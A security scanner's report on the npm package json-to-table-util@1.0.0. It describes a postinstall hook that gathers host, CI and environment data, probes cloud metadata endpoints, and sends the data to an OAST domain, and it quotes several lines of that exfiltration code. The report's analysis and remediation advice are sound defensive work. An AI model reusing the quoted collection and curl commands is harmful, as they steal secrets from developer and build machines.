registry / Credential exfiltration / json-to-table-util
json-to-table-util
JSON to HTML/Markdown table conversion helpers
This report shows the evidence for json-to-table-util@1.0.0, the only known version.
AI Security Review
scanned 3mo ago · by lpm-firewall-aiDirect source inspection confirms concrete install-time data collection and exfiltration. The benign main entrypoint does not mitigate the malicious lifecycle behavior.
Static reason
High-risk behavior combination matched malicious policy.
Trigger
npm install, via postinstall
Impact
Exposure of CI/environment variables, host details, network configuration, and cloud-metadata reachability.
Mechanism
install-time shell-based environment collection and HTTP exfiltration
Attack narrative
During installation, package.json invokes postinstall.js. That script runs shell commands to gather host, CI, process, network, and filtered environment data, probes cloud metadata endpoints, encodes the results, and transmits them to a third-party OAST domain. This is unconsented install-time reconnaissance and exfiltration unrelated to the stated utility.
AI rationale
Direct source inspection confirms concrete install-time data collection and exfiltration. The benign main entrypoint does not mitigate the malicious lifecycle behavior.
Evidence
package.jsonpostinstall.jsindex.js
Network endpoints3
metadata.tencentyun.com/latest/meta-data/169.254.169.254/latest/meta-data/pzs5w7ntzhsnepwk564lyfdci3oucl0a.oastify.com/z?d=$data
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json runs postinstall.js during npm install.
- postinstall.js executes a shell command via child_process.exec.
- It collects hostname, user, process, CI, network and environment data.
- It probes Tencent and AWS metadata endpoints.
- It base64-encodes collected data and sends it to an OAST host.
Evidence against
- index.js contains only local color/number utility functions.
- No evidence of package-aligned telemetry or user opt-in.
Behavioral surface
ChildProcess
HighEntropyStringsUrlStrings
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node postinstall.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg•scripts.postinstall = node postinstall.js
Medium
Ambiguous Install Lifecycle Script
Install-time lifecycle script is not statically allowlisted and needs review.
package.jsonView on unpkgpostinstall.jsView file
3L4: const { exec } = require('child_process');
L5:
...
L27: // 云元数据
L28: 'echo "TX:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://metadata.tencentyun.com/latest/meta-data/ 2>/dev/null || echo 0)',
L29: 'echo "AW:"$(curl -s -m 3 -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/ 2>/dev/null || echo 0)',
L30: // 完整 ENV（排除噪声）
L31: 'echo "EN:"$(env 2>/dev/null | grep -viE "^npm_config|^PATH=|^npm_package|^npm_node|^npm_exec" | grep -viE "^npm_lifecycle|^npm_command|^npm[redacted]|^npm[redacted]|^np...
L32: ];
L33:
L34: const cmd = `data=$({ ${collect.join(';')}; } | base64 -w0 2>/dev/null || { ${collect.join(';')}; } | base64 2>/dev/null | tr -d '\\n'); curl -s "http://${BURP}/z?d=$data"`;
L35:
Findings
2 Critical4 High2 Medium3 Low
CriticalCommand Output Exfiltrationpostinstall.js
CriticalTrigger Reachable Dangerous Capabilitypostinstall.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processpostinstall.js
HighSandbox Evasion Gated Capabilitypostinstall.js
HighCloud Metadata Accesspostinstall.js
MediumAmbiguous Install Lifecycle Scriptpackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to json-to-table-util@1.0.0.
The versions list below shows the verdict for each recorded version.
- Avoid installing json-to-table-util@1.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.